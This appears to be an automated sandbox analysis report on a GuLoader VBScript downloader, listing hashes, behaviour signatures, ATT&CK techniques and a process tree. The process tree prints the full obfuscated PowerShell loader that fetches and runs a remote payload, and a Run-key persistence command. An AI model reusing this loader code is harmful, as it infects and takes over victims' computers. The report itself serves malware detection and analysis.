guloader | 7a9f20fd12216abe78d356cc88c7a50d3cf9d617a2d47d31eee8d93727bd157b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 19:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a9f20fd12216abe78d356cc88c7a50d3cf9d617a2d47d31eee8d93727bd157b.vbs
Size 21KB
Sample240601-yhglbsdb2t
SHA256 7a9f20fd12216abe78d356cc88c7a50d3cf9d617a2d47d31eee8d93727bd157b
MD5 e76c16234cf540bc4afe6c92685288b0
SHA1 847658d4dd00a6fb7f8d6c0c3a6730f2b20dcd76
SHA512 46cd8d70208f546d9789a6b841929e82bcfb686e8a042d40e709c93fdce4a5d762a0e1b5a369a99870546f0c814c0bf6f2448bffc2a5ae8a49068bcc2382136a
SSDEEP 384:AiPlVTvfO//WjXGu20cevq3k0y70bZCnxeg8sMTOhengKjv:AifvW/+LHCR0j4QxjHewenxD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2652	WScript.exe
30	3516	Powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tophetize = "%Udsovedes% -w 1 $Jazzballetten=(Get-ItemProperty -Path 'HKCU:\\Grouze\\').Stemningsmenneskene;%Udsovedes% ($Jazzballetten)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
668	wab.exe
668	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
628	powershell.exe
668	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 628 set thread context of 668	628	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4640	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3516	Powershell.exe
3516	Powershell.exe
628	powershell.exe
628	powershell.exe
628	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3516	Powershell.exe
Token: SeDebugPrivilege	628	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
668	wab.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 3516	2652	WScript.exe	92
PID 2652 wrote to memory of 3516	2652	WScript.exe	92
PID 2652 wrote to memory of 3516	2652	WScript.exe	92
PID 3516 wrote to memory of 956	3516	Powershell.exe	96
PID 3516 wrote to memory of 956	3516	Powershell.exe	96
PID 3516 wrote to memory of 956	3516	Powershell.exe	96
PID 3516 wrote to memory of 628	3516	Powershell.exe	97
PID 3516 wrote to memory of 628	3516	Powershell.exe	97
PID 3516 wrote to memory of 628	3516	Powershell.exe	97
PID 628 wrote to memory of 4796	628	powershell.exe	98
PID 628 wrote to memory of 4796	628	powershell.exe	98
PID 628 wrote to memory of 4796	628	powershell.exe	98
PID 628 wrote to memory of 668	628	powershell.exe	102
PID 628 wrote to memory of 668	628	powershell.exe	102
PID 628 wrote to memory of 668	628	powershell.exe	102
PID 628 wrote to memory of 668	628	powershell.exe	102
PID 628 wrote to memory of 668	628	powershell.exe	102
PID 668 wrote to memory of 4048	668	wab.exe	103
PID 668 wrote to memory of 4048	668	wab.exe	103
PID 668 wrote to memory of 4048	668	wab.exe	103
PID 4048 wrote to memory of 4640	4048	cmd.exe	105
PID 4048 wrote to memory of 4640	4048	cmd.exe	105
PID 4048 wrote to memory of 4640	4048	cmd.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7a9f20fd12216abe78d356cc88c7a50d3cf9d617a2d47d31eee8d93727bd157b.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe" "$Taenias = 1;Function Knockoff($Gennemsgte){$Solicit209=$Gennemsgte.Length-$Taenias;$Nosebleeds='Substring';For( $Markeres=4;$Markeres -lt $Solicit209;$Markeres+=5){$oxpeckers+=$Gennemsgte.$Nosebleeds.Invoke( $Markeres, $Taenias);}$oxpeckers;}function Lancerende($Forbes){ & ($taktfuldt) ($Forbes);}$Ledesporets=Knockoff 'NytaMI vaoNoduzKirkiDehylStofl TriaDgpa/Peri5Renv.T.xo0Tkke Dai( StrWUsyni,ntin T.ad,xcuoBefuwMomos Rek FimbNNonfTPlig Ri t1Rond0Cogl.Kne,0Ranc;ruts AutoWHomoi Fe nMusk6Boch4,abr; kol centxspas6Sell4Araq;Svbs ,minrHibiv K a:Bant1Pbxe2 .an1 Di..slag0 Kon)St.l LaveG TriePervcCovek OvaoGamm/Ant,2Adm 0Meto1ephr0 Vol0Phyt1 Nor0Vgte1E ns IronFCarci Synr UnceTaosfDu koBelaxFl v/Rigs1Nazi2,tre1Gaug.Mulm0Diri ';$Unbloodiness=Knockoff 'HkasUAdvosDisseGiddrWamb- AntAYulhgReroeHjemn Diatfora ';$recirculation=Knockoff 'Embah Piet Synt GanpTidi: St /Saml/polymAfmeaDiads nto Sas.Sma gAnaleIrr./BraiwRelapPens-NongaSeredB.ndmTec iHanhnGlyp/A ujUApernProbc recoSkakaG,mngLyopuTormlEngraFraitSkrveGravd.elf.MethjThixpN.tubCons ';$Clonings=Knockoff ' Mid>Ejen ';$taktfuldt=Knockoff ' Fori,roteOu bxGste ';$Overfrelsen='Spatha';$Skifteafdeling = Knockoff '.erneDitscGa ghIkldoBjrn Schu%OmbrastjrpAp lpUndedCombaUdletReknaDerm%Uni.\Kil,ChurtiFerrtT.shr Be.eTragoWindu CirsS,ra.VolkMBekna Supi Brn B ut&Spn,&Enco KobbePhotc OvehDenso onb C rtVers ';Lancerende (Knockoff 'Negl$ FamgTilslAf ao B rbSikkaMopplStri:Ro sUskovaLoyafarbehKeglnforegPowtiTegngSk.phFiskeMenkdKaole,ilirIndhsArbo= Rum(Idioc St m As dSvup Lac/HardcHolo Wils$Ro,eSClink SamiChiqf mortCheceSoliaFrgefBalod TeleDelelTyphiTvisn Mingbaga)Besk ');Lancerende (Knockoff 'N,hi$.yregInstl rivo.eksbCas,aEtablB,ra:Un dORhe,c Snot T.iuTroppSanglprakeKam.dSe.i=Pall$ sskr,ocie BalcMareiRe arexaccP,euuLgeelSub,aManitCzari Tino B.nnXylo.TvansE,ymp toll EnkiTaphtScit(Soft$OverC.roplNon.oFovenSurpiHydrn ReggPachsHomo)For, ');$recirculation=$Octupled[0];$Buddles= (Knockoff 'Reli$ dfagRecllItaloMeseb,aana.uksl Sun: laWpigmoCapto ontdGethy.mbe=c mpN,ogreAtlawdipo- TreO GrobWildj IsreGabbcDis tSang O.tsSAss.yThorsPreft KineKan,m Fej.LevkNGuruePiostSchi.ProtWUndee.esabFalaCRefllAarhi TeweStornAvnet');$Buddles+=$Uafhngigheders[1];Lancerende ($Buddles);Lancerende (Knockoff 'Torp$ AetW UndoSenso.lugdO.tly ,is. SplH S.meDyrlaCycldDis eVo.dr Unis,maa[Bism$,traU T tn kombMundlP.rlo gr.o Pi dBorgiDilen.tyleEnklsGan s.onc] B n=Rekv$BellLBal eMorgdEncoeTr.esIltepFejloanthrIndfeSkumtErytsMi,a ');$Comperes=Knockoff ' Pro$NonaW ImpoSkalo g.ldTav yIn.k.Ja.tD T.noBar.wDe.mnSemil Unto ausaAfs dMythF Fr iTal lAn,oeA,gj( P.e$CultrPr.meC,lmcB.roi,nderZ,phcAnaluCurvlO era Ko t Speifr ioPrvenbrug,Lo,a$EfteDCo.ldAftesPhyca.ryptProgtExtreProcsKnnetTrvaeGullnSkrdsC,as)Entr ';$Ddsattestens=$Uafhngigheders[0];Lancerende (Knockoff 'Rygs$St tg IndlSurao U.bbPediaFormlB,ha: ussEProuf FlafUd orUndfoMat nSpist Mate D,trShakiDemoeHestsEqui=Ba,j( fgiTE,kle pcsNikatNord-HausP Cl.aQui.tRe lh Bi, Cypr$,exaDBuprdscopsMuggaLigetGhattFre eGdons Frut upeeMystnStuesunt.)Su,e ');while (!$Effronteries) {Lancerende (Knockoff ' Uds$UsurgVoddlK dgo ,kibBorsaEpigl Und:U deNAnise demd empePottfBogftT,oieStoor Hyd=Skib$Ant tMiscrSamlu H,aeSmit ') ;Lancerende $Comperes;Lancerende (Knockoff ' Ze,S Adit a,ra Sekr DowtGymn-TempS A klInsteCanveOp kpSili Emne4Taps ');Lancerende (Knockoff 'M,rs$ SupgFr,mlIll.oTripb,nglaHurtl P e: krvEGunnf H,nf ,abrBagioReflnMidbtPregeAntir,attiStileR elsPlu.=Lnni(KalcTKetoeCurasPrimtBlu,-BackP Ho aJilltPerlh Gen Flds$ReoxD EledF.rbsMorgaStoctPsaltGalveFed,sDenitNonpeEsconLeassNick)Uspo ') ;Lancerende (Knockoff 'Afma$,orrgVesil.irgoP,ofbOmgnaPerilGasa:CrinuAca.gTande O.en ensnScrieUn,omMetasHypekAemiu FeseOmsalPu siPol gElashBunde urkd reeHmosrR.lfnunwieCongs i.d=Over$Tillg orl ,uroForbbKuliaBortlOver:radmAForkpMilihSagsiKongdAngllPreeiSy,co PrenHayl+Lder+Mano% Hyd$CausO MamcBlodtbrneu Takp Virl,nhieTirsdS.if. ShacAgaroSideuTof,nFerrtNed ') ;$recirculation=$Octupled[$ugennemskuelighedernes];}$Bearfoots=310851;$Sieben=27633;Lancerende (Knockoff ' Har$ jorgSarclRafloDe,ubInteaen.alJitt:LegaIOppunPhena PompUnvutretcnMusleind.sTa,asRist Tahi=T,sk tri GKense U ptOrig-Bas,CIsa.oBaronArtitLo.oeMultn FantPat, spec$ObjeDOverdExposSnowa StetBobbtPseue utosRebat .aceLydknc.lls A.n ');Lancerende (Knockoff 'Sub,$ CaggUdgalUdsgo GribChonalingl Tra: A.sLSpy,e Tanj revr File KidnOve,eBest .yl=Idet Kard[Bar,S kseyPe,isIntetFor.e SpimHule.TailCMon,o Entn lufv .ede SmrrUdkrtTsar] Cow: .is:K rpFT pirHenvo ,romMisiB BalaKatasGryne rin6spil4H vmS oottLiferBortiAwinnUnpogindt(Ob r$ReveIdramnhennaNonrp MistSleen Wa,eStipsPrimseffe)Debu ');Lancerende (Knockoff ' Fri$Op,eg LeplC ayoAnnab B,oaBerilSner:bechSInc,t,ilkeAvispPh.tsVaagiCaperP ogeHide For =K,rn S,ot[MalmS.egnyPapysGenltcopeeC.upmVens.ForvT tleHerbxMelatNumm.KlynEScronFactcDi,coHjemd aniiGe,tnDrhagHamo]Ugle:stik:SagsASecrSSpecCGashIMul INapa.DoctGByggeCou t SubSGisetMilir,ortiBogsnFlasgFrem(Gall$LagrLTeleecentjToolr Sp eRes.nKolleDjvl)Gl e ');Lancerende (Knockoff ' Bev$ StrgStovl LicoRedubIciea OutlCymb: ounAKr.dn SighR ameArbemSparoOverlS.atySuretForsiSlavcGavt=Fald$SeldSExottModneVralp la,son.ci Endr PaneAn.c.VokasCum.u majb AbysSam tflasr Nksi ivinTil.gAxon(Hor.$Va,oBPalleFauvaIturr Undf Camoflato StytCesssHjr,, Ben$ PupSGardiMa teParabSupee Rajngest) Ban ');Lancerende $Anhemolytic;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Citreous.Mai && echo t"
    3⤵
    PID:956
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Taenias = 1;Function Knockoff($Gennemsgte){$Solicit209=$Gennemsgte.Length-$Taenias;$Nosebleeds='Substring';For( $Markeres=4;$Markeres -lt $Solicit209;$Markeres+=5){$oxpeckers+=$Gennemsgte.$Nosebleeds.Invoke( $Markeres, $Taenias);}$oxpeckers;}function Lancerende($Forbes){ & ($taktfuldt) ($Forbes);}$Ledesporets=Knockoff 'NytaMI vaoNoduzKirkiDehylStofl TriaDgpa/Peri5Renv.T.xo0Tkke Dai( StrWUsyni,ntin T.ad,xcuoBefuwMomos Rek FimbNNonfTPlig Ri t1Rond0Cogl.Kne,0Ranc;ruts AutoWHomoi Fe nMusk6Boch4,abr; kol centxspas6Sell4Araq;Svbs ,minrHibiv K a:Bant1Pbxe2 .an1 Di..slag0 Kon)St.l LaveG TriePervcCovek OvaoGamm/Ant,2Adm 0Meto1ephr0 Vol0Phyt1 Nor0Vgte1E ns IronFCarci Synr UnceTaosfDu koBelaxFl v/Rigs1Nazi2,tre1Gaug.Mulm0Diri ';$Unbloodiness=Knockoff 'HkasUAdvosDisseGiddrWamb- AntAYulhgReroeHjemn Diatfora ';$recirculation=Knockoff 'Embah Piet Synt GanpTidi: St /Saml/polymAfmeaDiads nto Sas.Sma gAnaleIrr./BraiwRelapPens-NongaSeredB.ndmTec iHanhnGlyp/A ujUApernProbc recoSkakaG,mngLyopuTormlEngraFraitSkrveGravd.elf.MethjThixpN.tubCons ';$Clonings=Knockoff ' Mid>Ejen ';$taktfuldt=Knockoff ' Fori,roteOu bxGste ';$Overfrelsen='Spatha';$Skifteafdeling = Knockoff '.erneDitscGa ghIkldoBjrn Schu%OmbrastjrpAp lpUndedCombaUdletReknaDerm%Uni.\Kil,ChurtiFerrtT.shr Be.eTragoWindu CirsS,ra.VolkMBekna Supi Brn B ut&Spn,&Enco KobbePhotc OvehDenso onb C rtVers ';Lancerende (Knockoff 'Negl$ FamgTilslAf ao B rbSikkaMopplStri:Ro sUskovaLoyafarbehKeglnforegPowtiTegngSk.phFiskeMenkdKaole,ilirIndhsArbo= Rum(Idioc St m As dSvup Lac/HardcHolo Wils$Ro,eSClink SamiChiqf mortCheceSoliaFrgefBalod TeleDelelTyphiTvisn Mingbaga)Besk ');Lancerende (Knockoff 'N,hi$.yregInstl rivo.eksbCas,aEtablB,ra:Un dORhe,c Snot T.iuTroppSanglprakeKam.dSe.i=Pall$ sskr,ocie BalcMareiRe arexaccP,euuLgeelSub,aManitCzari Tino B.nnXylo.TvansE,ymp toll EnkiTaphtScit(Soft$OverC.roplNon.oFovenSurpiHydrn ReggPachsHomo)For, ');$recirculation=$Octupled[0];$Buddles= (Knockoff 'Reli$ dfagRecllItaloMeseb,aana.uksl Sun: laWpigmoCapto ontdGethy.mbe=c mpN,ogreAtlawdipo- TreO GrobWildj IsreGabbcDis tSang O.tsSAss.yThorsPreft KineKan,m Fej.LevkNGuruePiostSchi.ProtWUndee.esabFalaCRefllAarhi TeweStornAvnet');$Buddles+=$Uafhngigheders[1];Lancerende ($Buddles);Lancerende (Knockoff 'Torp$ AetW UndoSenso.lugdO.tly ,is. SplH S.meDyrlaCycldDis eVo.dr Unis,maa[Bism$,traU T tn kombMundlP.rlo gr.o Pi dBorgiDilen.tyleEnklsGan s.onc] B n=Rekv$BellLBal eMorgdEncoeTr.esIltepFejloanthrIndfeSkumtErytsMi,a ');$Comperes=Knockoff ' Pro$NonaW ImpoSkalo g.ldTav yIn.k.Ja.tD T.noBar.wDe.mnSemil Unto ausaAfs dMythF Fr iTal lAn,oeA,gj( P.e$CultrPr.meC,lmcB.roi,nderZ,phcAnaluCurvlO era Ko t Speifr ioPrvenbrug,Lo,a$EfteDCo.ldAftesPhyca.ryptProgtExtreProcsKnnetTrvaeGullnSkrdsC,as)Entr ';$Ddsattestens=$Uafhngigheders[0];Lancerende (Knockoff 'Rygs$St tg IndlSurao U.bbPediaFormlB,ha: ussEProuf FlafUd orUndfoMat nSpist Mate D,trShakiDemoeHestsEqui=Ba,j( fgiTE,kle pcsNikatNord-HausP Cl.aQui.tRe lh Bi, Cypr$,exaDBuprdscopsMuggaLigetGhattFre eGdons Frut upeeMystnStuesunt.)Su,e ');while (!$Effronteries) {Lancerende (Knockoff ' Uds$UsurgVoddlK dgo ,kibBorsaEpigl Und:U deNAnise demd empePottfBogftT,oieStoor Hyd=Skib$Ant tMiscrSamlu H,aeSmit ') ;Lancerende $Comperes;Lancerende (Knockoff ' Ze,S Adit a,ra Sekr DowtGymn-TempS A klInsteCanveOp kpSili Emne4Taps ');Lancerende (Knockoff 'M,rs$ SupgFr,mlIll.oTripb,nglaHurtl P e: krvEGunnf H,nf ,abrBagioReflnMidbtPregeAntir,attiStileR elsPlu.=Lnni(KalcTKetoeCurasPrimtBlu,-BackP Ho aJilltPerlh Gen Flds$ReoxD EledF.rbsMorgaStoctPsaltGalveFed,sDenitNonpeEsconLeassNick)Uspo ') ;Lancerende (Knockoff 'Afma$,orrgVesil.irgoP,ofbOmgnaPerilGasa:CrinuAca.gTande O.en ensnScrieUn,omMetasHypekAemiu FeseOmsalPu siPol gElashBunde urkd reeHmosrR.lfnunwieCongs i.d=Over$Tillg orl ,uroForbbKuliaBortlOver:radmAForkpMilihSagsiKongdAngllPreeiSy,co PrenHayl+Lder+Mano% Hyd$CausO MamcBlodtbrneu Takp Virl,nhieTirsdS.if. ShacAgaroSideuTof,nFerrtNed ') ;$recirculation=$Octupled[$ugennemskuelighedernes];}$Bearfoots=310851;$Sieben=27633;Lancerende (Knockoff ' Har$ jorgSarclRafloDe,ubInteaen.alJitt:LegaIOppunPhena PompUnvutretcnMusleind.sTa,asRist Tahi=T,sk tri GKense U ptOrig-Bas,CIsa.oBaronArtitLo.oeMultn FantPat, spec$ObjeDOverdExposSnowa StetBobbtPseue utosRebat .aceLydknc.lls A.n ');Lancerende (Knockoff 'Sub,$ CaggUdgalUdsgo GribChonalingl Tra: A.sLSpy,e Tanj revr File KidnOve,eBest .yl=Idet Kard[Bar,S kseyPe,isIntetFor.e SpimHule.TailCMon,o Entn lufv .ede SmrrUdkrtTsar] Cow: .is:K rpFT pirHenvo ,romMisiB BalaKatasGryne rin6spil4H vmS oottLiferBortiAwinnUnpogindt(Ob r$ReveIdramnhennaNonrp MistSleen Wa,eStipsPrimseffe)Debu ');Lancerende (Knockoff ' Fri$Op,eg LeplC ayoAnnab B,oaBerilSner:bechSInc,t,ilkeAvispPh.tsVaagiCaperP ogeHide For =K,rn S,ot[MalmS.egnyPapysGenltcopeeC.upmVens.ForvT tleHerbxMelatNumm.KlynEScronFactcDi,coHjemd aniiGe,tnDrhagHamo]Ugle:stik:SagsASecrSSpecCGashIMul INapa.DoctGByggeCou t SubSGisetMilir,ortiBogsnFlasgFrem(Gall$LagrLTeleecentjToolr Sp eRes.nKolleDjvl)Gl e ');Lancerende (Knockoff ' Bev$ StrgStovl LicoRedubIciea OutlCymb: ounAKr.dn SighR ameArbemSparoOverlS.atySuretForsiSlavcGavt=Fald$SeldSExottModneVralp la,son.ci Endr PaneAn.c.VokasCum.u majb AbysSam tflasr Nksi ivinTil.gAxon(Hor.$Va,oBPalleFauvaIturr Undf Camoflato StytCesssHjr,, Ben$ PupSGardiMa teParabSupee Rajngest) Ban ');Lancerende $Anhemolytic;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Citreous.Mai && echo t"
      4⤵
      PID:4796
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:668
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "tophetize" /t REG_EXPAND_SZ /d "%Udsovedes% -w 1 $Jazzballetten=(Get-ItemProperty -Path 'HKCU:\Grouze\').Stemningsmenneskene;%Udsovedes% ($Jazzballetten)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4048
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "tophetize" /t REG_EXPAND_SZ /d "%Udsovedes% -w 1 $Jazzballetten=(Get-ItemProperty -Path 'HKCU:\Grouze\').Stemningsmenneskene;%Udsovedes% ($Jazzballetten)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 51308a626aab94a6e8dd682d9e8d507ce1f616425ef2c8fa24a2b958e71301df
MD5 04988e2f6d7625f86f0098478174493d
SHA1 b32ffc6f6ec1b9fc00cf582b52a2aee22e4f5838
SHA512 bad0cdb84c94a142d0c598d63653ed31a5a39ae4d5a77fb1e2adde5778c32973cd52b33e9d0cb4bcf9bcbae98a1e93f3a88319cce06ed2de35a00ae4d4c59e5b
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_3mdij4s2.izf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mdij4s2.izf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Citreous.Mai

Path C:\Users\Admin\AppData\Roaming\Citreous.Mai
Size 440KB
SHA256 5630ca828f815af3b4e61c51f89c7491d7a99eed0dca1eba1eb7ae4a4c212320
MD5 b93574944a37e77c0f82d483e5958c89
SHA1 f6c7d0d5d4e403a60f1ccc9d0f6cffc741853c42
SHA512 89c371d3ac58ffeed66efaa4857e53574d92181fe7867d2d6addabc9eaa44e3ecb86e890e86848de255c064ab438f51bf764d0f40b4a44872125e14f4f5d0836
SSDEEP 12288:EdHDpKu9QECulgrcDINu+WX7suoxIlYHTJwV7DTA:EdHtXQ7bcDINu+WXXD8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/628-41-0x0000000009070000-0x000000000D397000-memory.dmp

Download

memory/668-47-0x0000000000C00000-0x0000000004F27000-memory.dmp

Download

memory/3516-27-0x0000000007520000-0x0000000007542000-memory.dmp

Download

memory/3516-28-0x0000000008570000-0x0000000008B14000-memory.dmp

Download

memory/3516-19-0x0000000005BF0000-0x0000000005C56000-memory.dmp

Download

memory/3516-9-0x0000000005200000-0x0000000005222000-memory.dmp

Download

memory/3516-22-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

Download

memory/3516-23-0x00000000062F0000-0x000000000633C000-memory.dmp

Download

memory/3516-24-0x0000000007940000-0x0000000007FBA000-memory.dmp

Download

memory/3516-25-0x0000000006840000-0x000000000685A000-memory.dmp

Download

memory/3516-20-0x0000000005F10000-0x0000000005F76000-memory.dmp

Download

memory/3516-26-0x00000000075C0000-0x0000000007656000-memory.dmp

Download

memory/3516-21-0x0000000005F80000-0x00000000062D4000-memory.dmp

Download

memory/3516-7-0x0000000074EC0000-0x0000000075670000-memory.dmp

Download

memory/3516-4-0x0000000074ECE000-0x0000000074ECF000-memory.dmp

Download

memory/3516-43-0x0000000074ECE000-0x0000000074ECF000-memory.dmp

Download

memory/3516-44-0x0000000074EC0000-0x0000000075670000-memory.dmp

Download

memory/3516-6-0x0000000005410000-0x0000000005A38000-memory.dmp

Download

memory/3516-50-0x0000000074EC0000-0x0000000075670000-memory.dmp

Download

memory/3516-8-0x0000000074EC0000-0x0000000075670000-memory.dmp

Download

memory/3516-5-0x0000000004CE0000-0x0000000004D16000-memory.dmp

Download